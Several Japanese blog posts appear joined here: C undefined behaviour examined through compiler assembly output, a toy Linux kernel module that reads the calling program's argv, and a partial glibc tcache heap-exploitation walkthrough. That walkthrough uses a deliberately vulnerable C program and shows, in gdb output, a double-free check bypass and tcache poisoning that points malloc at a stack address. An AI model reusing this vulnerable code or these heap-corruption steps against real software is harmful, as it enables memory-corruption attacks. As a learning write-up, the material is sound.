note: 返り値は %eax というレジスタに入れます。movl は、命令 move と引数の長さ long (32-bit) を意味します。1 つ目の引数の値を 2 つ目の引数にコピーします。l は C で言うところの long 型とは別で、アセンブリ側の慣習です。

符号つき整数型のオーバーフロー

C では、符号つき整数型のオーバーフローは未定義とされています。

int foo(signed x) {
    return x * 1234 / 2;
}

signed と int は同じものを指しますが、敢えてそう書いています。次のように最適化できます。

foo:
        imull   $617, %edi, %eax
        ret

note: 引数は %edi というレジスタに入ってきます。

int foo(unsigned x) {
    return x * 1234 / 2;
}

符号なし整数型だと $2^{\text{\texttt{sizeof(I)}}}$ を法として合同になることが定められているため、そうした最適化はできません。

foo:
        imull   $1234, %edi, %eax
        shrl    %eax
        ret

また、INT_MIN (= (int)-2147483648) に対しては -INT_MIN INT_MIN / (-1) INT_MIN % (-1) などはオーバーフローするため、未定義動作になります。

int foo(int x) {
    return x;
}

int bar(int x) {
    foo(x % (-1));
    return x == -2147483648;
}

そのため、こうしたコードでは int bar(int) { return 0; } に最適化してもよいと思うのですが、そうしたことはしてくれませんでした。 順に GCC と Clang です。

foo:
        movl    %edi, %eax
        ret
bar:
        xorl    %eax, %eax
        cmpl    $-2147483648, %edi
        sete    %al
        ret
foo:
        movl    %edi, %eax
        retq

bar:
        xorl    %eax, %eax
        negl    %edi
        seto    %al
        retq

note: seto は、OF (overflow flag) が立っていたら、指定されたレジスタを 1 に、そうでなければ 0 にする命令です。

ヌルポインタ参照

「「ぬるぽ」「ガッ」」は Java の話であって、C では NullPointerException めいたものはありません。勘違いされがちですが、segmentation fault は「C 言語における「例外」的な機構」ではありません。

GCC 的には void * NULL に関して、0 や (void*)0 を NULL の代わりに使えると書いています*2。

int foo() {
    return *(int*)0;
}

順に GCC と Clang です。GCC はなにやら律儀に movl 0, %eax をしていますが、直後に ud2 をしていますね。ud2 は、不正な命令が実行されたことを意味する #UD 例外を投げます。一方 Clang はなにもしないようですね。

foo:
        movl    0, %eax
        ud2
foo:
        retq

これは、別に「NULL へのアクセスの際に、GCC では不正命令例外を投げ、Clang はなにもしない」ということを意味しません。

「*NULL が未定義動作である」というのは、コンパイラ的には「*p をした場合、p != NULL を仮定してよい」ということであり、その仮定をどう使うかはコンパイラ次第です。

int foo(int x) {
    return x;
}

int bar(int* p) {
    foo(*p);
    return p == 0;
}

この例では false を返すということになり、%eax = 0 とすればよいですね。実際、そういう最適化をしてくれます。

foo:
        movl    %edi, %eax
        ret
bar:
        xorl    %eax, %eax
        ret

ゼロ除算

まず、常にゼロ除算をするケースを考えてみます。

int foo(int x) {
    x /= 0;
    return x;
}

NULL のときと同じような感じですね。

foo:
        ud2
foo:
        retq

これは、別に「ゼロ除算の際に、GCC では #UD 例外を投げ、Clang はなにもしない」ということを意味しません。 除算のエラーであるところの #DE 例外を投げてくれるわけではないということにも注意しておきましょう。

「ゼロで割った場合の動作は未定義である」というのは、「x / y をした場合 y != 0 を仮定できる」ということですね。さっきと同じです。

int foo(int num, _Bool den) {
    return num / den;
}

_Bool は int に変換されると 0 か 1 にしかならないため、num / 0(未定義)か num / 1(num を返す)のどちらかになります。よって、次のように最適化できます。GCC も Clang も同様でした。

foo:
        movl    %edi, %eax
        ret

「わざわざ分岐して、そういう状況では ud2 を呼ぶ」なんてことはしようとしないわけですね。

ビットシフト

ビット長以上の幅でビットシフトをしようとしたときの動作は未定義です。

int foo(int x) {
    if (x < 1) x <<= 100;
    if (x > 1) x >>= 100;
    return x;
}

x < 1 または x > 1 のとき未定義動作なので、該当の if は考慮する必要がなくなります。下記は Clang の出力です。

foo:
        movl    %edi, %eax
        retq

GCC 的にも undefined だと言っていて (cf. gnu-c-manual.html)、たとえば独自仕様で「そういうビットシフトの返り値は 0 として定義します」となっているわけではなさそうなのですが、頑なに「無視しようとする」ではなく「0 として扱おうとする」ような挙動をされてしまい、楽しげな例を見つけられませんでした。

おまけ

配列境界外参照の例では i == 0 を、ゼロ除算の例では i != 0 を仮定させました。 ということで、それらを両方合わせてみたくなりますよね。

int foo(int i) {
    int a[] = {1};
    return a[i] / i;
}

GCC と Clang です。

foo:
        leal    1(%rdi), %eax
        cmpl    $2, %eax
        movl    $0, %eax
        cmovbe  %edi, %eax
        ret
foo:
        leal    1(%rdi), %ecx
        xorl    %eax, %eax
        cmpl    $3, %ecx
        cmovbl  %edi, %eax
        retq

う〜ん? ud2 が出るかと思っていました。 GCC で xorl %eax, %eax ではなく movl $0, %eax としているのは、cmpl の結果のフラグを破壊しないようにするためでしょうね。Clang では %ecx のレジスタを使うことで演算の順序を変えていますね。

C っぽく書くと次のようなコードです。

int foo_decompile(int edi) {
    int eax = edi + 1;
    int be = (unsigned)eax <= 2;
    eax = 0;
    if (be) eax = edi;
    return eax;
}

観察すると次のようなコードと等価であることがわかります。

int bar(int x) {
    return -1 <= x && x <= 1 ? x : 0;
}

実際、これをコンパイルしても同様のアセンブリが得られました。return 1 / x; をしているだけみたいですね。

int baz(int x) {
    return 1 / x;
}

これも同じになりました。

あとがき

「未定義動作のコードを書いたらなにが起きるかわからない」みたいなことばかり言われると、「そんなことよりまずは機械語を読みませんか」のような気持ちが多少は起きますよね。

当然、いちいちコンパイルするたびに確かめたいとは思わないので、「未定義動作を書くのは避けるのが賢明であろう」とは思います。 とはいえ、「未定義動作のコード禁止!」みたいなことを言われてもつまらないよな〜というのもありますし、こういう知識を備えている方がなにかと便利でしょうとも思います。

“shall not” is to be interpreted as a prohibition

という記述は規格にありますが、たとえば “You shall not write any program with undefined behavior.“ のような記述はないんですよね。あくまで C の処理系の規格であって、コーディング規約側の話やら法律めいたものを定めているものではないと思っています。 趣味として未定義動作ちゃん(?)と遊ぶことが禁止されているわけではないですよね。

舞台裏で未定義動作と遊ぶのは好きですが、それはそれとして、表で未定義動作のコードを見かけると嫌な気持ちになりますね。舞台裏で遊んでいるときにとやかく言われるのも同じくらい嫌な気持ちになります。

ところでもっと面白い例が欲しいですよね、正直目新しさが足りないです。困りました。 別に未定義動作に限らず、普通に最適化の話を見た方が面白いのでは?という気もしてきました。

rsk0315.hatenablog.com

おわり

おわりましょう。

*1:C のエキスパートが、パソコンを爆発させるプログラムを意図的に書いていた回(いろいろな回)

*2:処理系定義なので、処理系ごとのドキュメントに記載があるわけですね。Clang のドキュメントは見つかりませんでした。いかがでしたか?

/dev/clairvoyance について

最近ツイートしたこの子です。

clairvoyance は、通常は知覚するのが不可能と考えられている情報を得る能力を指します。千里眼や透視などと訳されることもあります。 読まれるファイル側が読む側のコマンドを知覚するのは通常はあり得ないと考えられていそうなので、そういう名前をつけました。

身近な例

読むたびに内容が変わるファイルの例として、/dev/random というのがあります。ランダムなバイト列を返してくれます。

% xxd -l64 /dev/random
#> 00000000: 28c7 49f4 3e9c d693 753c 7b15 b146 5d47  (.I.>...u<{..F]G
#> 00000010: c0a0 2ba1 f4b1 aa32 8793 13da 8353 dd7b  ..+....2.....S.{
#> 00000020: b56e 03dc 6d85 6d78 8c93 f86f c3ad 21e6  .n..m.mx...o..!.
#> 00000030: 2743 a6f4 b8e6 c88d f42e 1680 9d7b ffda  'C...........{..

% xxd -l64 /dev/random
#> 00000000: e596 4416 c4ac 79c2 a48b f61f fffc 7938  ..D...y.......y8
#> 00000010: e74f 51a6 0a34 6d36 d143 0a59 c9e7 e1cd  .OQ..4m6.C.Y....
#> 00000020: b524 ffc6 ede4 1e1c e07d 349f eb39 70a6  .$.......}4..9p.
#> 00000030: c9d5 56ae 71b7 3a05 67e2 e2ab d785 fa69  ..V.q.:.g......i

これは実際には、(当然ながら)通常のファイルとは異なる機構で実装されています。 character special file とか character device と呼ばれるものです。

character device を実装する際には、struct file_operations の持つ read などのメンバ変数(関数ポインタ)として所望の処理を書きます。read は、ファイルに対して read の操作をしたときに呼ばれるものです。

第一歩

ファイル作成

ということで、自作したくなるのが世の常というものです。

まずは複雑な処理をせず、該当の機構を使いつつも固定の文字列を返すようなものを実装してみましょう。

hello.c

#include <linux/device.h>

#include <asm/errno.h>

static int device_open(struct inode*, struct file*);
static int device_release(struct inode*, struct file*);
static ssize_t device_read(struct file*, char __user*, size_t, loff_t*);
static ssize_t device_write(struct file*, char const __user*, size_t, loff_t*);

#define DEVICE_NAME "hello"

static int major;
static int minor = 0;

static char* devnode(const struct device* dev, umode_t* mode) {
  if (mode) {
    *mode = 0666;
  }
  return NULL;
}

static struct class cls = {
    .name = DEVICE_NAME,
    .devnode = devnode,
};

static struct file_operations fops = {
    .read = device_read,
    .write = device_write,
    .open = device_open,
    .release = device_release,
};

static int __init kinit(void) {
  major = register_chrdev(0, DEVICE_NAME, &fops);

  if (major < 0) {
    pr_alert("Registering char device failed with %d\n", major);
    return major;
  }

  int e;
  if ((e = class_register(&cls))) {
    pr_warn("class_register() returns %d\n", e);
    return e;
  }
  struct device* p =
      device_create(&cls, NULL, MKDEV(major, minor), NULL, DEVICE_NAME);
  pr_info("Device %s is created (%p)\n", DEVICE_NAME, p);
  return IS_ERR(p) ? PTR_ERR(p) : 0;
}

static void __exit kexit(void) {
  device_destroy(&cls, MKDEV(major, minor));
  class_unregister(&cls);
  unregister_chrdev(major, DEVICE_NAME);
}

static int device_open(struct inode* inode, struct file* file) {
  try_module_get(THIS_MODULE);
  return 0;
}

static int device_release(struct inode* inode, struct file* file) {
  module_put(THIS_MODULE);
  return 0;
}

static char message[] = "Hello.\n";
static size_t message_length = 7;

static ssize_t
device_read(struct file* file, char __user* buf, size_t count, loff_t* ppos) {
  if ((size_t)*ppos == message_length) {
    return 0;
  }

  if (count > message_length - (size_t)*ppos) {
    count = message_length - (size_t)*ppos;
  }
  unsigned long e = copy_to_user(buf, &message[*ppos], count);
  if (e) {
    pr_warn("copy_to_user() returns %lu\n", e);
    return -EFAULT;
  } else {
    *ppos += count;
    return count;
  }
}

static ssize_t device_write(struct file*, char const __user*, size_t, loff_t*) {
  return -EBADF;
}

module_init(kinit);
module_exit(kexit);

MODULE_LICENSE("GPL");

Makefile

KDIR = /lib/modules/`uname -r`/build

kbuild:
    make -C $(KDIR) M=`pwd`

clean:
    make -C $(KDIR) M=`pwd` clean

obj-m = hello.o

ビルド

ビルドのために必要なヘッダファイルを用意します。

% uname -r
#> 6.8.0-47-generic

これで出てきたものと同じバージョンのヘッダを用意する必要があります。

% curl -O https://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-headers-6.8.0-47_6.8.0-47.47_all.deb
% curl -O https://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-headers-6.8.0-47-generic_6.8.0-47.47_amd64.deb
% dpkg -i linux-headers-6.8.0-47_6.8.0-47.47_all.deb
% dpkg -i linux-headers-6.8.0-47-generic_6.8.0-47.47_amd64.deb

あとは make すればいいでしょう。

% make -C /lib/modules/`uname -r`/build M=`pwd`
#> make[1]: Entering directory '/usr/src/linux-headers-6.8.0-47-generic'
#> warning: the compiler differs from the one used to build the kernel
#>   The kernel was built by: x86_64-linux-gnu-gcc-13 (Ubuntu 13.2.0-23ubuntu4) 13.2.0
#>   You are using:           gcc-13 (Ubuntu 13.3.0-12ubuntu1) 13.3.0
#> make[1]: Leaving directory '/usr/src/linux-headers-6.8.0-47-generic'

カーネルをビルドするのに使われた gcc とバージョンが違うと警告が出ます。マイナーバージョンが違うくらいであれば問題ないんじゃないかなと思っています。

/usr/src/linux-headers-6.8.0-47-generic/.config に CONFIG_CC_VERSION_TEXT というのが記載されていました。

さて、次のようなファイルができているはずです。

.
├── Makefile
├── hello.c
├── hello.ko
├── hello.mod
├── hello.mod.c
├── hello.mod.o
└── hello.o

登録

デバイスの登録をするためには、そういう権限が必要です。権限がないと次のようになります。cf. capabilities(7)。

% insmod hello.ko
#> insmod: ERROR: could not insert module hello.ko: Operation not permitted

Docker で作業する際には --cap-add=CAP_SYS_MODULE というオプションをつけるとうまくいくと思います。

% insmod hello.ko

% cat /proc/devices | grep hello
238 hello

ここの 238 というのが、デバイスの番号(のうちの major と呼ばれる方)になります。 さて、/dev/hello という名前のファイルを作り、いま作ったデバイスに紐づけます。

% mknod -m 666 /dev/hello c 238 0

読んでみましょう。

% cat /dev/hello
#> cat: /dev/hello: Operation not permitted

読めませんでした。デバイスを読むにあたってもそういう権限が必要みたいです。 Docker で作業する際には、--device-cgroup-rule='c 238:0 rwm' というオプションをつけるとよい気がします。

% cat /dev/hello
#> Hello.

読めました。

自作

調査

さて、そういう処理を入れていきます。

なんとかして、open された際に open してきたプログラムを特定したいです。 /proc/self 配下のファイル*1を見ると下記のようになります。

% cat -A /proc/self/cmdline
#> cat^@-A^@/proc/self/cmdline^@

% cat -A /proc/self/comm   
#> cat$

なので、カーネル側がなにかをしている部分でコマンドライン引数が取得できそうということは推測できます。

current というポインタ(実際には変数ではなくマクロで、get_current() という関数が呼ばれている*2)が指す構造体の中に、それっぽいものがあります。

current->comm が /proc/self/comm で使われるものなのですが、char comm[TASK_COMM_LEN]; と定義されていて、TASK_COMM_LEN は 16 です。長いファイル名(ファイル名の上限は 255 文字)の場合は途中で打ち切られてしまいます。

なので、/proc/self/cmdline のための処理をしている箇所を探しに行きます。

current->mm->arg_start の位置に、該当の文字列がありそうです。pr_info などを使うことで、dmesg にログを残せるのでそうしましょう。

unsigned long arg_start = current->mm->arg_start;
pr_info("current->mm->arg_start: 0x%016lX\n", arg_start);
pr_info("current->mm->arg_start: %p\n", (void*)arg_start);
pr_info("current->mm->arg_start: %s\n", (char*)arg_start);
% /usr/bin/cat /dev/clairvoyance /proc/self/maps
#:
#> 7ffc7f887000-7ffc7f8a8000 rw-p 00000000 00:00 0                          [stack]
#:

% dmesg | tail
#:
#> [...] current->mm->arg_start: 0x00007FFC7F8A7EFD
#> [...] current->mm->arg_start: 000000008e4d4edd
#> [...] current->mm->arg_start: /usr/bin/cat

これにより、次のことがわかります。

  • current->mm->arg_start はスタック領域を指している
  • current->mm->arg_start には、いわゆる argv[0] が入っている
    • cat になったりはせず、指定した /usr/bin/cat のまま
    • ここには書いていないが、これの続きに argv[1], ... もある
  • %p でポインタを出力すると難読化されている

難読化に関しては、以下に記述があります。SipHash のハッシュ値を生成しているみたいです。

ハッシュ化を無効化すると下記のログが出るの、wow という感じでした。

**********************************************************
**   NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE   **
**                                                      **
** This system shows unhashed kernel memory addresses   **
** via the console, logs, and other interfaces. This    **
** might reduce the security of your system.            **
**                                                      **
** If you see this message and you are not debugging    **
** the kernel, report this immediately to your system   **
** administrator!                                       **
**                                                      **
**   NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE   **
**********************************************************

ハッシュ化の過程で ptr_key という値を使っており、これはランダムに初期化されたグローバルな値です。 カーネルのシンボルたちのアドレスを取得する方法があるようなので、それを使いつつ値を見ちゃいます。

% cat /proc/kallsyms | grep -w ptr_key
#> ffffffff9ea567b0 d ptr_key
unsigned long* p = (void*)0xffffffff9ea567b0;
pr_info("ptr_key = {0x%016lX, 0x%016lX}", p[0], p[1]);
[...] ptr_key = {0xB1EF2D2DECDE711F, 0xF06A52701443DF17}

こうして手に入れた ptr_key を使って siphash_1u64 の処理をすると、上記と同じハッシュ値が得られることが確かめられます。実際には、上記のハッシュ値は下位 32 bits のみ取り出されていることに注意しましょう。

さて、clairvoyance するにあたって必要な情報はもう得られたので、実装していきます。

ファイル

clairvoyance.c

#include <linux/device.h>

#include <asm/errno.h>

static int device_open(struct inode*, struct file*);
static int device_release(struct inode*, struct file*);
static ssize_t device_read(struct file*, char __user*, size_t, loff_t*);
static ssize_t device_write(struct file*, char const __user*, size_t, loff_t*);

#define DEVICE_NAME "clairvoyance"

static int major;
static int minor = 0;

enum {
  CDEV_NOT_USED,
  CDEV_EXCLUSIVE_OPEN,
};

static atomic_t cdev_status = ATOMIC_INIT(CDEV_NOT_USED);
static char message[266] = "Hello, *{255}.\n";
static size_t message_length = 0;

static char* devnode(const struct device* dev, umode_t* mode) {
  if (mode) {
    *mode = 0666;
  }
  return NULL;
}

static struct class cls = {
    .name = DEVICE_NAME,
    .devnode = devnode,
};

static struct file_operations fops = {
    .read = device_read,
    .write = device_write,
    .open = device_open,
    .release = device_release,
};

static int __init kinit(void) {
  major = register_chrdev(0, DEVICE_NAME, &fops);

  if (major < 0) {
    pr_alert("Registering char device failed with %d\n", major);
    return major;
  }

  int e;
  if ((e = class_register(&cls))) {
    pr_warn("class_register() returns %d\n", e);
    return e;
  }
  struct device* p =
      device_create(&cls, NULL, MKDEV(major, minor), NULL, DEVICE_NAME);
  pr_info("Device %s is created (%p)\n", DEVICE_NAME, p);
  return IS_ERR(p) ? PTR_ERR(p) : 0;
}

static void __exit kexit(void) {
  device_destroy(&cls, MKDEV(major, minor));
  class_unregister(&cls);
  unregister_chrdev(major, DEVICE_NAME);
}

static int device_open(struct inode* inode, struct file* file) {
  if (atomic_cmpxchg(&cdev_status, CDEV_NOT_USED, CDEV_EXCLUSIVE_OPEN)) {
    return -EBUSY;
  }

  char* filename = (char*)current->mm->arg_start;
  for (char* p = filename; *p;) {
    char c = *p++;
    if (c == '/') {
      filename = p;
    }
  }

  snprintf(message, sizeof message, "Hello, %.255s.\n", filename);
  message_length = strlen(message);
  try_module_get(THIS_MODULE);
  return 0;
}

static int device_release(struct inode* inode, struct file* file) {
  atomic_set(&cdev_status, CDEV_NOT_USED);
  module_put(THIS_MODULE);
  memset(message, 0, sizeof message);
  return 0;
}

static ssize_t
device_read(struct file* file, char __user* buf, size_t count, loff_t* ppos) {
  if ((size_t)*ppos == message_length) {
    return 0;
  }

  if (count > message_length - (size_t)*ppos) {
    count = message_length - (size_t)*ppos;
  }
  unsigned long e = copy_to_user(buf, &message[*ppos], count);
  if (e) {
    pr_warn("copy_to_user() returns %lu\n", e);
    return -EFAULT;
  } else {
    *ppos += count;
    return count;
  }
}

static ssize_t device_write(struct file*, char const __user*, size_t, loff_t*) {
  return -EBADF;
}

module_init(kinit);
module_exit(kexit);

MODULE_LICENSE("GPL");

copy_to_user の処理や atomic_t に関しては割愛します。

ビルドなど

Makefile については、obj-m だけ変えておきます。 同じ流れで make して、insmod や mknod などをします。

書き換えてビルドし直した場合は rmmod clairvoyance をしてから insmod clairvoyance.ko をする必要があります。 rm /dev/clairvoyance をしたり mknod をし直したりする必要はないみたいです。

なにかしらのミスで変なことになった場合は、dmesg を叩くとログが見れます。権限としては --cap-add=CAP_SYSLOG が必要になると思います。

その他

/dev/grow も同じような機構で実装しています。clairvoyance より簡単なのに grow の方がふぁぼが多くて、世の中そういうもんだよな〜という気持ちになりました。

ギャラリー

cat

grep

less

パイプに通す例

変数展開の例

ランダム生成した長い名前の例

暗号化する例

REPL の例

カラフルだとたのしい

ハッシュ値クイズ

OGP

参考文献

あとがき

興味深さ優先探索型人間なので、気になったことを調べてこういうことになりがちです。どういう経緯でこれを始めたか覚えていません。思い出します。

malloc について調べていて、torvalds/linux に迷い込んで SYSCALL_DEFINE1(brk, unsigned long, brk) とかを調べて、なんやかんやで execve(2) を調べ始めて、ELF について調べて、libc や ld-linux-x86-64.so.2 に依存しないようなバイナリが欲しくなったりして、アセンブリを書き始めて、strace たのしいな〜となり、Intel や AMD64 の機械語のマニュアルを読んだりして、そういえば AVX-512 のエミュレート環境があったらうれしいなとなって colima 上で Intel SDE を動かしてみて、そういえば(少しバックトラックして)そういう本の存在を思い出して ゼロからのOS自作入門 を買ったりしました。 また、フォロヮの影響で [試して理解]Linuxのしくみ を買ったりしました。

上記の過程やそれ以前に目にした概念で、まだよくわかっていないものが諸々あって、signal とか handler とか、vDSO (virtual dynamic shared object) とか vsystable とか、vtable とか、TLB (translation lookahead buffer) とか MMU (memory management unit) とか、どのレイヤーでどういうことが起きているんですか?というので、調べたり調べようとしたりしています。

(お気楽大学生みたい)

たぶんそういう過程で「結局 /dev/random ってどうなってるの?」みたいになって、“character device” “how to create /dev/null” などでググりつつ、下記を見ました。

“kernel object” というそれっぽいキーワードを見つけたので、“kernel object 101” とかでググって解説記事を探したりしました。 一度それっぽいキーワードを見つけると、その後の調査が捗りますね。こういう第一歩のパートには LLM を使うのもありかもしれません*3。

で、せっかくならなにか面白そうな挙動をするものが作れたらうれしいよねとなり、grow や clairoyance を書きました。 clairvoyance 自体は(今回のトピックとしては主題っぽさはありつつ)別に副産物でしかなくて、カーネルのコードを読むことに抵抗が減りつつある方が大きいのかなという気もしています。

「どう調べたら知りたいことが知れるのかな?」「得た知識の妥当っぽさをどうしたら確かめられるかな?」みたいなことを考えたり実行したりするのが好きなような気がします。

そういえば、SipHash に関して調べていて Serious Cryptography を買ったりもしました。 crypto もあんまりわかっていない領域なので、詳しくなりたいですよね。 (以前やった)浮動小数点型とかに関してもそうですが、人々があまり知りたがろうとしていなさそうな部分かつまともな教材があまりなさそうな分野に惹かれます。 変な怪しい学問にハマったりしないか心配ですね*4。

競プロも衰えない程度には続けていようと思っているものの、ABC で頭の悪いムーブをしたりすると萎えますね。 「えびちゃんってさすがにもっと頭よくなかった? よくあってくれ」のような気持ちになりがちですね。嫌すぎます。

残念ながら使命感駆動とか金銭駆動で勉強できるタイプではないので、これからも興味駆動で、のほほんとやっていけたらうれしいな〜という気持ちです。

おわり

おわりです

*1:これも同じような機構で実装されています。コード的には fs/proc 配下に書かれています。

*2:可読性やばくない?

*3:えびちゃん的には、第一歩よりも後のフェーズで LLM を使っても、いまいちたのしい気持ちになれません。

*4:昨今の LLM を盲信している人々の方がえびちゃん的にはどうかと思いますけどね。

tcache bins となかよく

なかよく(いろいろな解釈)

今日の遊び相手は glibc malloc ちゃんです。 今回はちゃんとした解説を目指した記事ではないです。

sourceware.org

なかよし

コードを読んだり、下記のコードから作った脆弱な実行ファイルを使ったりしながら挙動を見ていきます。

脆弱なコードちゃん

#include <stdio.h>
#include <stdlib.h>

enum {
  SIZE = 100,
};

void ignore() { scanf("%*c"); }

void scan_len(size_t* p) {
  printf("int? ");
  scanf("%zu", p);
  ignore();
}

void scan_str(unsigned char* p, size_t d) {
  printf("string? ");
  for (size_t i = 0; i < d; ++i) {
    scanf("%c", &p[i]);
  }
  ignore();
}

void print_str(unsigned char* p, size_t d) {
  printf("string: ");
  for (size_t i = 0; i < d; ++i) {
    printf("%c", p[i]);
  }
  printf("\n");
}

void vuln(void) {
  size_t i = 0;
  size_t len[SIZE] = {};
  unsigned char* str[SIZE] = {};
  printf("str: %p\n", str);
  char op;
  while (printf("op? "), scanf(" %c%*c", &op) == 1) {
    switch (op) {
    case '+':
      if (i < SIZE) {
        scan_len(&len[i]);
        str[i] = malloc(len[i]);
        scan_str(str[i], len[i]);
        ++i;
      }
      break;
    case '-': {
      size_t d;
      scan_len(&d);
      free(str[d]);
    } break;
    case '~': {
      size_t d;
      scan_len(&d);
      scan_str(str[d], len[d]);
    } break;
    case '@': {
      size_t d;
      scan_len(&d);
      print_str(str[d], len[d]);
    } break;
    case '.':
      return;
    default:
    }
  }
}

int main(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  vuln();
  puts("done");
}

pwndbg/pwndbg を使ったりします。

とりあえず malloc

[*] malloc(0x38), b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa'
(gdb) tcachebins
tcachebins
empty

(gdb) p tcache->entries[2]
$1 = (tcache_entry *) 0x0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0xfffffffffffffff0: Cannot access memory at address 0xfffffffffffffff0

malloc() だけした時点では tcache entry は NULL のままです。

とりあえず free

[*] free(0)
(gdb) tcachebins
tcachebins
0x40 [  1]:  0x5555555592a0 ◂— 0

(gdb) p tcache->entries[2]
$2 = (tcache_entry *) 0x5555555592a0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x555555559290: 0x0000000000000000  0x0000000000000041
0x5555555592a0: 0x0000000555555559  0x30232822102e0fcf
0x5555555592b0: 0x6161616661616165  0x6161616861616167
0x5555555592c0: 0x6161616a61616169  0x6161616c6161616b
0x5555555592d0: 0x6161616e6161616d  0x0000000000020d31

free() をすると(malloc() のサイズがそういう感じなので)tcache に入ります。

typedef struct tcache_entry {
  struct tcache_entry *next;
  uintptr_t key;
} tcache_entry;
#define PROTECT_PTR(pos, ptr) ((__typeof(ptr))((((size_t)pos) >> 12) ^ ((size_t)ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)

tcache->entries[2] が指している 0x5555555592a0 にあるポインタ next == 0x555555559 は、

((0x5555555592a0 >> 12) ^ 0x555555559) == 0

を意味します。また、key == 0x30232822102e0fcf は(実行ごとに固定の)乱数で、free() した chunk が tcache bins に入ったときに付与されます。 これは、free() が二重で行われようとするのを検知するために使われています。

Use after free

ということで、この子を書き換えることで、もう一度 free() できるようになります。

note: 書き換えなかった場合、バレて free(): double free detected in tcache 2 と言われて abort します。

脆弱性の観点で言えば、free() した後は malloc() で持ってきたアドレスには、ライブラリ内部で使っている値が書かれているので、それが漏れたり書き換えられたりするとよくないわけですね。

[!] .[0] = b'YUUU\x05\x00\x00\x00\xce\x0f.\x10"(#0oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa'
(gdb) tcachebins
tcachebins
0x40 [  1]:  0x5555555592a0 ◂— 0

(gdb) p tcache->entries[2]
$3 = (tcache_entry *) 0x5555555592a0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x555555559290: 0x0000000000000000  0x0000000000000041
0x5555555592a0: 0x0000000555555559  0x30232822102e0fce
0x5555555592b0: 0x616161706161616f  0x6161617261616171
0x5555555592c0: 0x6161617461616173  0x6161617661616175
0x5555555592d0: 0x6161617861616177  0x0000000000020d31

(cyclic の部分は適当にやっていますが)next の部分は書き換えていないので、まだ tcache->entries[2] にはバレていません。

Double free

さて、free() しちゃいましょう。

[*] free(0)
(gdb) tcachebins
tcachebins
0x40 [  2]:  0x5555555592a0 ◂— 0x5555555592a0

(gdb) p tcache->entries[2]
$4 = (tcache_entry *) 0x5555555592a0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x555555559290: 0x0000000000000000  0x0000000000000041
0x5555555592a0: 0x000055500000c7f9  0x30232822102e0fcf
0x5555555592b0: 0x616161706161616f  0x6161617261616171
0x5555555592c0: 0x6161617461616173  0x6161617661616175
0x5555555592d0: 0x6161617861616177  0x0000000000020d31

なんか怪しくなってきました。

static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
  e->key = tcache_key;
  e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

下記のように値が入ります。

e->next = PROTECT_PTR(0x5555555592a0, 0x5555555592a0)
        = 0x55500000c7f9
tcache->entries[2] = 0x5555555592a0

PROTECT_PTR はあくまでエンコード側の問題で、要するに e->next が指すものが 0x5555555592a0 になったというのが大事ですね。

tcache poisoning

続いて、next を書き換えちゃいましょう。0x7fffffffe530 を指していることにしてみます。 入れたい値は 0x7ffaaaaab069 で、バイト列としては b'i\xb0\xaa\xaa\xfa\x7f\x00\x00' です。

[!] .[0] = b'i\xb0\xaa\xaa\xfa\x7f\x00\x00\xcf\x0f.\x10"(#0yaaazaabbaabcaabdaabeaabfaabgaabhaabiaab'
(gdb) tcachebins
tcachebins
0x40 [  2]:  0x5555555592a0 —▸ 0x7fffffffe530 ◂— 0x7ffffffc6 /* '8' */

(gdb) p tcache->entries[2]
$5 = (tcache_entry *) 0x5555555592a0

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x555555559290: 0x0000000000000000  0x0000000000000041
0x5555555592a0: 0x00007ffaaaaab069  0x30232822102e0fcf
0x5555555592b0: 0x6261617a61616179  0x6261616362616162
0x5555555592c0: 0x6261616562616164  0x6261616762616166
0x5555555592d0: 0x6261616962616168  0x0000000000020d31

0x7fffffffe530 のアドレスには 0x38 が入っていたので、これを REVEAL_PTR に通せば 0x7ffffffc6 ということになります。 cf. pwndbg/chain.py

さて、malloc() することで tcache bins から chunk を持ってきましょう。

[*] malloc(0x38), b'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaab'
(gdb) tcachebins
tcachebins
0x40 [  1]:  0x7fffffffe530 ◂— 0x7ffffffc6 /* '8' */

(gdb) p tcache->entries[2]
$6 = (tcache_entry *) 0x7fffffffe530

(gdb) x/10gx (void*)tcache->entries[2]-0x10
0x7fffffffe520: 0x2b00000000000000  0x0000000000000000
0x7fffffffe530: 0x0000000000000038  0x0000000000000038
0x7fffffffe540: 0x0000000000000000  0x0000000000000000
0x7fffffffe550: 0x0000000000000000  0x0000000000000000
0x7fffffffe560: 0x0000000000000000  0x0000000000000000

関連するのは下記のあたりで、

static __always_inline void *tcache_get_n(size_t tc_idx, tcache_entry **ep) {
  tcache_entry *e;
  if (ep == &(tcache->entries[tc_idx]))
    e = *ep;
  else
    e = REVEAL_PTR(*ep);

  if (__glibc_unlikely(!aligned_OK(e)))
    malloc_printerr("malloc(): unaligned tcache chunk detected");

  if (ep == &(tcache->entries[tc_idx]))
    *ep = REVEAL_PTR(e->next);
  else
    *ep = PROTECT_PTR(ep, REVEAL_PTR(e->next));

  --(tcache->counts[tc_idx]);
  e->key = 0;
  return (void *)e;
}

static __always_inline void *tcache_get(size_t tc_idx) {
  return tcache_get_n(tc_idx, &tcache->entries[tc_idx]);
}

実行されているのは下記のような感じです。

tcache_entry **ep = &tcache->entries[tc_idx];
tcache_entry *e = REVEAL_PTR(*ep);
*ep = PROTECT_PTR(ep, REVEAL_PTR(e->next));
--(tcache->counts[tc_idx]);
e->key = 0;
return (void *)e;

*ep == tcache->entries[tc_idx] に e->next(をエンコードしたもの)を入れることができています。

もう一声。

